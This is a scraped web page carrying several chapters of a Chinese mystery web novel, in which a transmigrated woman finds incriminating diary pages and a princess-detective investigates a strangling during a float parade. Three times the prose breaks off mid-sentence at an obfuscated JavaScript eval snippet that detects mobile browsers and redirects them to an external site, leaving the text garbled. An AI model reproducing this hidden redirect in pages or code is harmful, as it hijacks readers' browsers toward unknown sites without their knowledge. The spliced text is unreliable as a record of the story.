张煦手执狼毫在纸上作图,握笔的手指劲瘦有力。 如果说平时的裴十七是一柄剑,那此时的他就更像是一把君子兰香扇。 寥寥几笔,已成其形:木质的柄上绑着磨尖的石头。 这是远古时期的一种武器。 “嗯……这应该没有铁器锋利吧?否则现在为何不用石器打仗。” 张煦点点头:“大体如此,但若是这石头格外坚硬,制成暗器,穿透力和锋利程度,远胜铁器。” “那是什么石头,翡翠做成箭头?应该……咦?”裴瑾眼睛一亮:“这有可能吗?” “并非翡翠,公主还记得姜月伤口里的金属粉末吗?应该就是箭头碎裂之后,留下的痕迹。” “对极,翡翠粉末色泽与其不同。十七,知道这些粉末是什么吗?” 张煦摇头:“应是一种石矿,我未曾见过。” “如何断定是石矿?观其色泽,黑种泛光,为何不是金属?” 张煦:“殿下,金属韧性足,武器、暗器,炼制时,往往千锤百炼。而此物,坚硬、脆性大,更像石矿。” 他补充道:“此物颜色幽深,不易察觉,比翡翠更易制成暗器。观其碎裂程度,其硬度应在铁之上,比翡翠略低。” 也就是说,这暗器箭头,是一种还未大量发现的石矿所制? 门外的争执打断了裴瑾的思路。 寒木:“老板儿,我们有钱,你再等两天嘛!” “不是,你们一行人车马华丽,咋个连个房租都交不出来!不会是骗子吧。” 寒木生气:“你说哪个是骗子安?!” 原来是寒木和房东吵了起来,听话里的意思,好像是他们没交房租?? 眼见着两个人要吵起来,裴瑾把寒木拉到一边:“木木,我们没钱了?” 寒木使劲摇头:“不是,殿下你想多了噻,咋个可能没得钱嘛,是谢家那边寄来的钱,还没到。” 裴瑾拔下金钗,递给张煦:“十七,劳烦你跑一趟,去兑点银子,给房东先生。” 寒木鬼火冒:“要不得,银子过几日便到,何必要典当您的首饰!” 陛下也真是的,自己女儿也不给点零花钱,怪不得公主帮着谢家说话,该。 “不过是身外之物。”裴瑾对房东微笑:“先生勿怪,我等远道而来,账房还未跟上,待我家人换些银钱,便把房租给你。” 房东是个见多识广的,这主人家的首饰,不仅价值不菲,而且制式稀有,一看就是高门大户家的,他有些后悔自己冲动,差点得罪了金户。 他和气地笑道:“没有的事,小姐想住多久都行,钱不着急,哈哈哈哈。” 寒木翻了个白眼,不着急你叫个锤子。 “应该及时给的。”裴瑾看向裴十七,张煦意会,立刻带着金钗出门。 刚走到门口,被一个脏兮兮的老爹爹拦住:“阿源,我的阿源,你回来啦!呜呜呜……” “哎哟,郑老头儿,你又发疯了,别惊扰了贵客!”房东赶紧拉开郑老头儿,拱手赔罪:“勿怪勿怪,这郑老爹以前做了不少好事,是我们西门巷的大善人。可惜儿子从军死后就疯了,见到高大勇猛的男子,就发病,也是个可怜人,几位贵客见谅。” 哪知他刚说完,就被郑老爹弹了个脑瓜崩:“你儿子才死了呢!我们阿源前一阵还回来看我了呢,他没死!” “是是是,您大白天别说这种话,怪渗人的。”房东搓了搓手臂,连拖带拽,把郑老爹带走了。 张煦拿着金钗,犹疑道:“殿下,还去吗?” “去呀。”裴瑾看着郑老爹和房东,眼里满是好奇。 * 前一日傍晚。 姜越看着眼前的男子,一个头两个大。 她小心翼翼地喊道:“师兄?” “嗯?”男子谨慎地看了看四周,把她拉进了小院客房。 回到屋里,男子才摘下面具,好一个剑眉星目美男子。 美男子给姜越倒了杯茶,自己又猛喝了好几杯,这才开口:“我的大小姐,你不是说要为你姐姐姜月出气,教训陈渊渟那个见异思迁的家伙吗?非说要杀了他,我没拦住你。现在怎么回事,怎么死的是姜月?陈渊渟呢?” 师兄美则美矣,可惜张了张嘴,姜月看着他叭叭个不停,硬是没找到机会插嘴。 不是,帅哥,你等会儿,让她捋一捋。 也就是说,原主是来给“姐姐”姜月出气的?然后莫名其妙,她穿过来了,姐姐死了,她成了嫌疑犯? 哇,这走向?? 如果人不是原主杀的,那陈渊渟也太可疑了吧! 不对,她明明从姜月的怀里拿到了原主的日记,写的是原主嫉妒姐姐抢走了所有宠爱之类的,并且夺走了她的身份。 啊啊啊,头疼,她该信谁? 她看着美男子,心道对不住了师兄,她需要更多的消息。 她少说多问,慢慢地套信息。幸好师兄对她很信任,并没有起疑。 嗯,不是每个人都像那个景小姐一样可恶的。 美男子叫张道衡,是原主的师兄,原主姜越是死者姜月的双胞胎妹妹。 果然,她猜得没错,只是为什么大家好像都不知道,姜月有这个双胞胎妹妹的事? 她看了看美人师兄,满脸沮丧地说:“他们都不知道我。” 师兄目露心疼:“还不是你小时候身体差,从小在伍丹山修行……” 师兄又碎碎念起来。 因为从小居住在山里,很少有人知道原主是姜月的双胞胎妹妹。 知道这件事情的,据张道衡了解,应该有原主父母陈素、姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936872|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣鹤以及姜月的贴身丫鬟莺莺。 听到这里姜越不禁想到:莺莺到底发现她不是姜月了没? 再说陈渊渟…… 张师兄告诉她,原主姜越性格直爽,敢爱敢恨,颇有些武林侠女的风范。 因为听说陈渊渟移情别恋——一开始喜欢姜月,转头又喜欢上了孙兰芝,所以下山,非要给姐姐讨个说法,说要杀了陈渊渟。 姜越脑子更混乱了。 所以到底是日记不够真实,还是说,张师兄对原主并不了解,只知道她的表面? 太复杂了,姜越觉得自己头要疼死了,她从不同地方得到的信息竟然相互矛盾。 若如张师兄所说,凶手更有可能是陈渊渟和孙兰芝,因为姜月大闹迎春阁让两人丢脸至极,心怀怨恨想报仇。 而若日记是真的,那就危险了。原主不仅嫉妒姐姐,说不定对陈渊渟也有恨意。 但无论怎样,姜月已死,关键点都在陈渊渟和孙兰芝身上。 她现在当务之急是找到这两个人。 若是陈渊渟或者孙兰芝是凶手,她试探一二,说不定能抓住他/她的马脚。 “师兄,人不是我杀的,我醒来就在姐姐屋子里,她已经死了!”不管是不是原主动的手,姜越肯定不能先承认。 看上去这个师兄挺靠谱的,希望能成为她的帮手。 不过,师兄到底是不是好人,她内心深处还是抱有一丝怀疑。所以,日记什么的,肯定不会告诉他。 美人师兄立马相信,表情严肃:“有人杀了你姐姐,还想嫁祸给你?!” 姜越连忙点头:“没错。” “你怀疑谁?” 姜月:“陈渊渟。” “狗东西,果然长得好看的男的都靠不住。” 姜越看向张道衡。 师兄回过神来,灿然一笑:“当然,师兄除外,走吧。” 两个人重新戴上人皮面具,前往迎春阁。 可惜没找到人。 这也太像作案后跑路了吧!姜越越发觉得原主不是凶手。 别说是陈渊渟,就连孙兰芝也不在。 “阁主,兰芝小姐去了何处?”美人师兄一脸羞涩,演技出众:“我兄弟二人,听闻兰芝小姐美名,特地从江陵郡赶来,一睹芳容。” 迎春阁老鸨笑眯眯地说:“兰芝被人赎了身,已经离开,不过我们迎春阁还有许多姑娘,各个色艺双绝,两位不如我来,我为两位介绍介绍?” 姜月疯狂给张道衡使眼色,美人师兄顿时一脸为难:“这可如何是好,我弟弟就想见兰芝小姐,不如阁主将兰芝小姐的去处告知,我等自去寻,也不耽误阁主做生意。” 说着递出一盏银锭。 老鸨收好银子,却一脸为难,说这是客人的隐私,做生意,规矩不可废。 见两位客人面色阴沉,老鸨眼睛滴溜溜一转,赔笑道:“两位之前曾问渊渟公子的去处,妈妈我呀,突然想到,陈公子可是蜀郡选出的百花魁首,明日花车巡游,会登上第一辆花车呢!二位不妨去那里寻陈公子,况且……陈公子最爱我们兰芝,说不定,他俩正在一起呢。” 花车巡游? 11. 第二篇日记 姜越和张道衡对视一眼,回到小院。 这是张道衡临时租用的院子,不大,除了主厅,只剩东西两间厢房,姜越在东厢房。 姜越整个人都快累虚脱了,她推开门,准备好好休息,明天去看看这花车巡游到底是个什么东西。 张道衡:“师妹,你别急,我们肯定能找到真相的,别难过……” 他轻轻拍了一下师妹的头,咦居然成功了,师妹平时可从来不让他摸头的。 他盯着自己手掌发呆。 “嗯,谢谢师兄。”师妹眼睛有点红,应该是累的,看起来比平时乖巧太多了。 他有些手足无措地回到西厢房。 姜越进到屋里,揉揉发红的眼,觉得师兄人还怪好的,说得她都有点想落泪了。她只是个普通人而已,为什么要承受这么多!呜呜呜…… 她沉沉睡去。 不过,注定,今夜没法好好休息了。 姜越半夜被奇怪的声音吵醒,她睁开眼,发现屋子里的烛火竟然亮着! 是谁?偷偷进了她房间!她拿起师兄给她的匕首,小心翼翼地打开柜子,推开窗户,爬到床底…… 找了一圈,根本没人,窗户也是锁上的。 她看向门外,隔壁就是张道衡的屋子。 姜越蹑手蹑脚地走出门,路过主厅,来到张道衡的西厢房门前,她轻轻地从两扇门之间取出一根头发丝。 完好无损。 这是她在张道衡进屋熄灯后,系上的。 她没有原主记忆,还身负命案,突然冒出个师兄,她不得不防。 看着完好的发丝,她松了一口气,还好不是师兄,不然她是真的腹背受敌了! 她回到屋子里,狠狠抓了一把头发,为什么蜡烛自己亮了啊!!? 难道是她睡前忘记吹蜡烛了?她再次看向烛火,这一看,她瞬间头皮发麻,身体里的血液止不住地往上涌—— 烛火下,躺着两页纸,跟她在姜月领口找到的日记很像。 她内心是拒绝的。 如果是第一份日记是原主之前写的,那么,她已经穿过来了,为什么还会有新的日记? 这是不是说明…… 不敢想,根本不敢想,细思恐极。 僵持许久,她一步一步挪过去。 颤抖着手拿起“日记”,她差点两眼一黑。 第一张纸上写到: 【他说他爱孙兰芝。哈,多可笑!那个贱人凭什么?我为他做了那么多,可他却用那种厌恶的眼神看我! 花车里很安静,只有绳子摩擦皮肉和他的挣扎声。我本想给他最后一次机会,可他居然喊她的名字…… 他的脚尖踢翻了颜料桶,月白色的水剂洒在我的鞋面上。 我仔细擦拭,就像擦掉我们之间所有的肮脏秘密。 他手里捏着,写给她的信,现在,它和我的愤怒一起烧成了灰。 ——等等,我为什么要写这些?我明明……不想记得的。】 姜越,缓缓地、缓缓地低下头,眼睛倏然睁大:她的鞋尖上残留着一丝丝月白色的痕迹! 她保证,睡着之前,她鞋面上并没有这些! 这是说——她睡着的时候外出了,还杀了陈渊渟?! 到底是怎么回事?她胸如擂鼓,头脑风暴: 情形一:原主其实根本没死,她现在正在和原主共用一副身体!好消息是:原主应该还没发现她;坏消息是:原主真的是杀人犯! 情形二:原主精神分裂,正常的那个(说要给姐姐出气的姜越),已经没了;现在这个身体里住着的是她还有变/态姜越。 情形三:她其实就是原主,只不过是失忆了,穿越小说都这么写。 情形四:原主已经死了,她也没杀人!是有刁民在害她…… 姜越多么希望是情形四,但现实一路向着前几个狂奔。 她真的不想当杀人犯啊~~~ 她深呼吸了几口气,鼓起勇气翻开第二张日记。 姜越吐血,这篇更是重量级。 【唉,巡查的人来了,我得走了。 我把他的尸体丢在了第一辆花车里。 哎呀,怎么办呢,明日便是花车巡游,我还没来得及处理,会被人发现吧? 不着急,我有个绝妙的计划,可以让他单独死在花车里,这样我就一点嫌疑都没有了。 可是明天我起得来吗?最近不知道怎么回事,总是醒不过来,醒来的时候又不在睡下的地方。 我有夜游症吗? 算了,我先把计划写下,这是一项精细的活动,容不得马虎。 (五百字具体操作) 晚安,困了,希望明日来得及处理尸体。】 姜越要抓狂了!!你有空写这么多计划,你到是把尸体处理了啊!!什么意思,让她来处理是吧! 她收回之前的想法,她现在隐隐觉得,那个人,知道了她的存在,故意把计划写给她看,就是要拖她下水! 第二日上午。 姜越盯着两个大黑眼圈起床,快要升天。 她根本不想按照计划上的做,但是她好担心会被发现,明明就已经在悬崖上走钢丝了,为什么还要去犯案啊!! 再说了,日记虽然这么写着,陈渊渟也不一定死了,对吧? 对吧…… 她只是去现场看看,万一有什么,好随机应变,绝对不是要帮原主遮掩! 至于万一真有尸体,不看计划,自己处理?对不起,她是个好人,没有这种经验。 她看了眼隔壁师兄的房门还关着,这次就不带他了。 呜呜呜,她好崩溃。 她一边挠着头一边出门,走到门口的一瞬间,她整个人都僵住了。 什么鬼啊!!!这一天天的,是想吓死她吗? 只见那位本应在死牢的景小姐,正坐在对面小院门口,喝着茶打着扇。她这一停顿,景小姐便慢悠悠地看向了她。 卧槽,她怎么回事?出来得这么快吗??完了完了,她看过来了,她是不是发现她的身份了? 不对不对,姜越你要冷静。 姜越深吸口气,目不斜视,若无其事地转身离开。她现在穿着男子的衣服,带着人皮面具,相貌普通,景小姐应该看不出来才对。 太可怕了,这女人怎么跟鬼一样。 她下意识想加快脚步,但立马控制住了自己。她能感到身后那道目光一直没有离开她,必须装作不认识她,平和自然地走出这条巷子。 她听到身后那个男随从问道:“殿下在看什么?” 景小姐回答:“这男子有点眼熟。” 转过巷口,她加快了脚步。 景小姐见过她这个人皮面具吗?姜越努力回想…… 是在姜月闺房,她站在人群里,景小姐被当成了嫌疑人。 就这么一眼,她就记住自己了?她是怪物吗……这张脸长得实在普通,她自己对着镜子看了好几次,都没记住! 嘶,头疼,她一晚上没睡好,算了,不想了,反正只是一张人皮而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936873|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。 大不了换一张。 她去了花车巡游的起点——升仙塔。 还未走进,就看到,升仙塔后迤逦延伸着一条长长的铜轨,随着地面起伏,流向远方,最后没入游船码头。 升仙塔下是排好的花车。 姜小姐的去世,并没有影响百花城一年一度的盛事,升仙塔下已经聚集了不少居民和商贩。 “客官,来个面具吗?花车巡游必备!” “来看看,最吓人的三星堆面具,没有哪家比我的丑!超绝对比,买一个,巡游的时候摘下来,再丑的姑娘公子都美若天仙!” 老板挥舞着面具,方脸大耳三角眼,围观的居民赞不绝口。 “来一个!” “我买三个!” “哇,真的好丑,我喜欢,嘻嘻嘻。” “孙公子,来看看,吾与面具孰美?” …… 姜越面无表情地路过,果然,蜀郡有自己的神。 她走近升仙塔,看见了这次巡游的花车。花车安安静静地排在铜轨上,铜轨两边绑上了好看的红色绸带,以隔绝城民。 铜轨的起点,坐着一个男子,穿得很喜庆,这应该就是花车巡游的花引官了,负责启动花车。 起点几丈之外,就是第一辆花车,后面整整齐齐跟着一队,整个车队都被红绸拦住了,现在没有人能接近。 姜越咽了咽嗓子,看向打头的车——据日记说,陈渊渟的尸体在里面。 车门前有门帘,看四周和谐欢庆的氛围,尸体应该还未被发现,可是周围人来人往的,保不齐人臭了呢。 她现在无法进去,只能干着急,贸然接近,反而会暴露自己。 她仔细打量起所有花车,思考日记里,所谓的“绝妙计划”。 第一辆花车,是月白色的,车上绘制着龙凤纹;后面七辆都是桃红色,车壁上是玉兰纹;再后面的三十二辆是原木色。 前八辆车,每车坐一人,是百花城中居民,通过一人一朵玉兰花,选出来的百花公子/百花小姐,陈渊渟在脚踩两只船的绯闻中,居然遥遥领先,得了第一。 后面的三十二辆,由城中居民入座,先到先得。 淦,总不能不管吧,万一尸体真在里面…… 如果陈渊渟没死,那他应该会上车,那这一切都迎刃而解;但要是他没来…… 姜越眉心突突的疼,算了,还是上车看一下才能放心。 该如何上车呢? 她身边来了几个年轻姑娘,站在红绸外,咯咯地笑,她们手里还捏着长长的画像。 画中人,一身黛青色长衫,外罩烟青色半透薄纱褂子,手握书卷,端的是写意风流,公子如玉。 “听说这次渊渟公子是第一呢!” “那可不。” “可是,可是他……” “哎呀,没什么可是的,我们喜欢的是脸,他喜欢谁跟我们有什么关系。” “你好真实。” “哎呀,姐妹,你这等身长卷,在那儿买的,太好看了,画工绝佳!” “就在那卖面具的对面,除了长卷还有姿容卷呢。” 姜越问道:“这位小姐,何为姿容卷?” 那小姐看了他一眼,掩嘴笑道:“公子长相普通,不知道也正常,姿容卷就是五官画像,比起写意长卷,姿容卷更真实更贴近原貌呢。” 懂了,就是古代手绘版的大头照。 有办法了,姜越左右看了一圈,目光停留在那些神戳戳的面具上。 12. 第二个死者 姜越买了陈渊渟好几张不同的长卷和姿容卷,又买了面具。 她身量高,照着陈渊渟的服饰,又去成衣店里买了一套类似的衣物。 还得感谢陈渊渟有名,各家成衣店里都有不少他的同款衣物,简直就是风尚代言人。 她沿着铜轨从起点走到终点,研究了一番。等换好衣服带好面具,回到起点的时候,这里已经排起了长队。 前八辆车的红绸已经解开了。 她假装很熟练地走向第一辆车,只是去看一眼而已,不管有没有尸体,她都立马溜。 眼见着就要登车,身后传来一声:“且慢。” 姜越慢慢回头,是这次花车的花引官。 花引官说:“渊渟公子,一会儿花车过了云海画廊,劳烦坐到车辕与城中百姓互动。” 姜越暗暗擦掉手心里的汗水,控制着声线:“嗯。” “您这边走。” 花引官为姜越搬来木梯,姜越坐进车里。 后面的车,也坐上了其他公子小姐,大家都带着奇形怪状的面具,这面具要经过云海画廊之后才会取下来。 她仔细打量着车内,什么嘛,根本没有程渊渟的尸体,都是骗子! 她一口气还没松下去,花车座椅上赫然躺着一张纸! 又又又来了?! 【吾爱姜越,见字如晤。 如果你看到这封信,就说明我猜的没错。没想到,我身体里真的还有一个人呢? 被我昨天的日记吓坏了吧?没错哦,都是真的。 既然你已经上了花车,那我们就是一类人,要帮我保密哦! 因为你就是我,我就是你。 你是不是在暗自窃喜,车里没有陈渊渟的尸体?嘿嘿嘿,你想多了哦,他的尸体就在第一辆车里。 反正你已经上车了。 你跑不掉的。 来按照我们的计划做吧,否则,车到终点,你就会被抓哦。 (新计划:五百字)】 姜越气到人皮面具变形,所以昨天都是吓她的饵是吗!她因为被吓到加上好奇,会来到第一辆花车,然后就彻底中了原主的计?! 现在她来了,只能按照日记,帮原主完成计划。 天哪,古代人太邪恶了,玩不过根本玩不过。 怎么办…… 怎么办,当然是跳车跑路啊,反正陈渊渟尸体又不在这辆车里,跳车别人最多觉得奇怪,又没有证据证明她和死者有关。 她从车窗外望去,找个合适的路线,准备逃跑,结果恰好看到悬案司的人,在人群里盯着花车。 而那位景小姐也赫然在列! 她什么时候来的?景小姐是悬案司的人?不对啊,昨日那个李筠节明明一副不认识她的样子。 脑子里的弦突然奏响,她想起昨天百花宴上的传闻:九公主被废,来蜀郡悬案司任职,就在这两日。 长安来的,景小姐,悬案司…… 呵,呵呵,原来一开始怀疑她的就是九公主啊,而且人家现在还是悬案司的人。 之前她还觉得景小姐被误认为嫌疑犯,有些于心不忍,好家伙,现在自己快要被瓮中捉鳖了哈! 就凭景小姐的敏锐程度,她敢保证,如果她现在跳车,马上就会被怀疑…… 但要是就这么坐着花车到终点,她肯定也会被抓。 该死! 难道真的只有帮原主完成计划了吗? 花车缓缓启动,沿着特制的铜轨前进,行进得很慢。车里并没有动力,也无人力拖动,这花车是怎么动起来的呢? 姜越想了一下,就没管了,这不重要。 * 得知陈渊渟会参加今日的花车巡游,裴瑾、十七以及悬案司一众,来到升仙塔。 寒木嫌弃裴十七不懂讨价还价,代替他去当铺了。 裴瑾路上就在想,什么人回刚杀完表妹,伪装死亡时间,还能若无其事地去花车巡游? 有种不好的预感。 一行人来到花车巡游的时候,花车已经启动。 花车巡游是百花节第二日的活动,花车载着居民选出来的俊男美女,游城互动,这个时候,连最难约出来的世家公子小姐,也会心甘情愿地登车巡游。毕竟,这是一城之人选出来的前八,少男少女们,还是很乐意的。 他们来到花引官处,赵倚歌问道:“陈渊渟上车了吗?” 花引官:“上车了。” 李贵遗憾道:“那我们只能等巡游结束,再找他查案了。” 裴瑾总觉得有种不祥的预感,她问:“为何不让车停下?” 花引官摇摇头:“这里不行,花车有轨道,一旦开始,就不再受总台操控,会沿着轨道一直游街。不过为了防止意外,车上会有急停装置。” 裴瑾:“意思是说,总台无法控制,但是车上的人可以主动停车?那万一陈渊渟中途停车跑了,该如何是好?” 李贵笑道:“景司务刚来可能不清楚,花车铜轨一路上都有居民围观,若是停车定会被发现的。况且所有车辆都在前进,若车突然停滞,后面的花车也会发现的。” “确定所有的道路都有人围观吗?”一般听到这种“所有”、“肯定”的词,裴瑾都会再三确认,很多时候,只是主观上认为的“一定”,实际有很多可以操作的地方。 “啊,这个,对了,”李筠节说道:“有一段路,叫云海画廊,花车会经过一段如梦似幻,由花灯、水雾、楼阁组成的长廊,那里无法近处观看。” 李贵补充:“但是那里只有一条铜轨,而且两边都是坚硬的墙壁,人在那里从车上下来,无处可站,而且很可能会被后面的花车碾死,十分危险,不会有人在那里跳车的。” 裴瑾看向李贵、李筠节和赵倚歌,见他们都一脸肯定,便不再多说。 她再次向花引官确认:“你是亲眼见到陈渊渟上车的吗?” 花引官迟疑了。 不对劲。 裴瑾温和出声:“嗯?没关系,仔细说说是怎么回事。” 花引官解释道:“看身材应该是渊渟公子,而且除了他也没有第二个人上车,关键是前八辆车的公子小姐都带着面具,下官也不敢万分确认。不过……” “不过什么?” 花引官说:“不过陈公子上的花车很好辨认,”他指了指渐渐远去的花车,“那个打头的就是陈公子的花车,只有第一辆车是月白色的,装饰为龙凤纹,与后面的皆不相同!而且中途也没有下车的地方,景大人只要在终点等着第一辆花车,就可以知道车上的人是谁了。” 裴瑾:“如此也只能这样了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936874|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “对了,”赵倚歌说:“也可在云海画廊出口等,我记得从那个地方开始,前八辆车的公子小姐会摘下面具,和城民互动,对否?” 接引管拍了一下自己的脑袋,自责道:“正是正是!” 几人无法,只好随着人群,跟着花车,一路行去。 花车排成一列,整整齐齐地沿着轨道开动,各车之间并无连接,车前也无人力、马匹…… 那花车到底是如何驱使的呢? 李筠节自告奋勇:“殿下是不是好奇花车的动力,这是老冯设计的!” 他指了指轨道和地面。 “整条轨道,修筑的时候,这些弯弯绕绕,连接起来是一个缓坡,坡度极小,看不出什么分别,却能让特制的花车,缓缓移动,直达终点!” “真是巧夺天工!”裴瑾仔细观察了铜轨,确实有轻微的倾斜,没想到,这么一点点角度,竟然就能推动花车一直前行。 “那云海画廊里也是这样的吗?” “是的。” 花车一路行去,车上载满了城民扔的花束,人群跟着花车流动,很快来到了云海画廊。 云海画廊是一段山壁雕,雕刻间缀满了各色的灯笼和彩绘。花车在山间行进,四周弥漫着水汽,云烟缭绕,很快花车就只留下一个朦胧的轮廓,看不清了。 花车在点着灯的画廊中行驶,宛若走进了仙宫,只能隐隐约约看见一排车辆的形态,灯火通明,花车也被照成了五颜六色。 云海画廊的尽头是一个宝塔,大概有两辆车长短。 很快,月白色的头车进入宝塔,那是载着陈渊渟的花车,再有一会儿,就该出来了。 周围的人群开始激动,各自呼喊着各位公子小姐的名字。 “渊渟公子,渊渟公子!” “王公子!” “周公子!” 听到耳熟的王公子,裴瑾侧身问花引官:“这王公子可是王玉振?” 花引官笑道:“是的,王公子可是蝉联花冠十年的人物,只是近年渐渐传出无心姻亲,又少现身于人前,才少了些人气。” “他是在那辆车?” 花引官:“本该在第二辆,可是他今日未来。” “嗯?” 赵倚歌解释道:“王家有意让玉振接替家主之位,所以事务繁忙。” 裴瑾笑着说:“赵评事和王公子很熟啊。” 李筠节插嘴:“何止,赵评事和玉振公子有婚约,赵评事为了逃婚,才考到悬案司来的呢!” 赵倚歌面无表情:“你不说话,没人当你哑巴。” 好爽,终于怼了出去,这个呆子。 裴瑾轻咳一声,转移话题:“陈渊渟快要出来了吧。” 赵倚歌十分配合:“嗯。” 月白色的花车千呼万唤始出来,人群有一瞬间的安静,他们都在等着渊渟公子从花车里出来。 万众期待的陈公子并没有回应大家,随着车辆的颠簸,他从座位上跌了下来,倒在车辕上! 面色紫红,唇色青紫,颈部肿着勒痕,凝结着暗红色的血迹。 他死了! 人群一片哗然,随后是震天的呼喊。 “渊渟公子!” “渊渟公子死了!” “天哪,是谁杀了他!” 13. 月白色 后面车听到两旁城民的呼喊、哭嚎,过了好一会儿才知道发生了什么,纷纷拉下急停,后面没停的,也撞上前车,停了下来。 陈渊渟所在的花车是第一辆,前面无车,车上也没有别人可以急停,竟然就这么载着他的尸体,开出好远。 后面的车都停了下来,公子小姐们乱作一团,有几个刚刚才从陈府放出来,好不容易参加个巡游,又给碰上了。 “天哪,是渊渟公子!” “呜呜呜,我的渊渟公子啊~~” “啊啊啊!”穿破云霄的尖叫声。 “我的天,陈家这是造了什么孽,姜月刚死,这陈渊渟也没了?!” “赶紧走赶紧走,待会儿悬案司,又把我们关起来。” 好几个人跳车要走,裴瑾赶紧道:“拦住他们,都带到陈渊渟那里去!所有花车原地不动,不准任何人接近!” 官兵一动不动。 官兵你看我我看你:前八辆车这些公子小姐都是世家贵族、官老爷家眷,他们不确定这位景司务有没有这么大背景,不敢轻易行动。 赵倚歌无奈极了,悬案司的衙役和李司正一个德行,她只好说道:“景司务说什么你们就做什么。” “是。”有了赵大人发话,官兵们这才行动起来。 赵倚歌低声对裴瑾说:“殿下见谅,想必案件频出,殿下的身份,李司正还未来得及吩咐下去。” 裴瑾摇了摇头表示不介意,但也深深感到无力,这远离皇城的地方,势力错综复杂,官员想办事都得看各方脸色,更不用说普通百姓了。 本是欢乐的百花节,一连两天离奇死亡两人,百姓又是恐惧又是难过,还有些实在喜欢陈公子的,跟着花车一路跑了好远。 一边追,一边哭,一边骂凶手。 “这样不行,十七,你能上车吗?” 张煦看了眼那慢如龟速的花车:“当然,殿下。” “劳烦你去停车。” “是。” 张煦拨开人群,一个踏云,飞上了花车,惹来人群一阵惊呼,他站在车辕上,往里一看,就找到了急停的拉手。 载着陈公子的花车,终于停了下来。 周围围满了居民,都伸着脑袋往花车瞧。 裴瑾几人赶到,她看了看花车内部,问道:“没有别人?” 张煦:“没有。” 车上只有陈渊渟,他到底怎么死的? 后面七辆车的人都被官兵截住,但是再后面的车却是没有办法,那些都是临时上车的居民,每辆车上都挤了不少人。 官兵人力有限,没有拦住他们。 不过大多数还是乖乖地聚在官兵身后,主动跟着。 裴瑾扫了那些居民一眼,皱了皱眉,有什么画面一闪而过,但没来得及捕捉。 “悬案司办案,闲杂人等,退开十丈!”李贵高喝。 人群被隔离开,四十辆花车也被官兵围了起来,裴瑾几人登上月白色的花车。 陈渊渟倒在车辕上,本来风华绝代的脸,现在面色发紫,触之干涩,眼睑出血。 裴瑾见他唇色发青,牙关紧咬,让张煦捏开下颌,发现舌骨已经骨折。 颈部有勒痕,与身体水平,身体凉凉的、有轻微尸斑,按之不退,关节四肢僵硬。 初步断定是他杀,死于窒息。 李筠节头都要秃了,他知道自己说出来一定会被怼,但还是忍不住说:“应该不是鬼吧……从上车到下车这都只有他一个人,难不成是自己把自己勒死的?” 果然,赵倚歌冷冷回道:“你可以自己试试。” 李筠节不服:“可以上吊啊。” 赵倚歌深感无力,好想撬开他的脑壳看看里面都装了些什么。 她解释:“被勒死之人,勒痕通常在颈中部或偏下,水平或略向上;而自缢的勒痕多偏斜,位置更高,呈‘上扬’的斜痕。” “噢。”李筠节闭嘴了。 裴瑾补充道:“陈渊渟唇色发青,牙关紧咬,是因为气道阻断及剧烈挣扎造成的;而舌骨骨折,则说明是较大外力所致,就像这样。”裴瑾给了寒木一个眼色,寒木一个箭步冲到李筠节身后,掐住了他的脖子。 李筠节吓了一跳,脖颈好像被什么巨物卡住,喉咙舌根被挤压,快要断掉似的。 寒木见好就收,立刻放了手。 李筠节没受什么伤,咳了几下,立刻远离裴瑾和她的打手,好可怕的女人。 李贵移开目光,不是大事,不用出声。 “好吧,确实是他杀,那凶手是怎么杀人的呢?” 李贵绕着花车走了两圈,又看了看陈渊渟的尸体,迟疑着说:“凶手有没有可能,在车上杀了陈渊渟,又悄悄离开?” 他说完立刻自己否定掉了这种可能:“不太可能,一路上都有人围观。哪怕是云海画廊看不清晰,但里面只有铜轨,道路刚好容车辆通过,有人下车肯定会被后面的车碾成肉泥的。” 赵倚歌开始观察,翻找花车内部,她说:“会不会凶手本来就藏在车里?” “啊?”李筠节寒毛都立了起来,缩到赵倚歌身后,牙齿打颤:“那他还在这儿?!” 赵倚歌十分嫌弃地把他拎出来。 “噗,那他岂不是快被吓死了?”裴瑾说道:“这么多悬案司的官员在这儿呢,你若是凶手,你怕不怕?” “哎,好像,是这么回事?” 李筠节瞬间不怕了,凶手要真藏在这儿,该怕的是凶手才对呢。 赵倚歌没理他,钻进车厢里,检查了整辆车。 三条锦缎长椅,椅下有箱柜,她一一拉开,盒子很小,无法藏人。 长椅中央有个小桌子,很干净,什么也没有。 车内并无藏身之处,而且陈渊渟死后他们一直看守花车,一只苍蝇也没飞出来,车厢内除了正常磨损没有打斗痕迹。 裴瑾目光看向一旁的窗帘——被扯破了,看痕迹很新,奇怪。 难道陈渊渟真的是在这里被杀的? 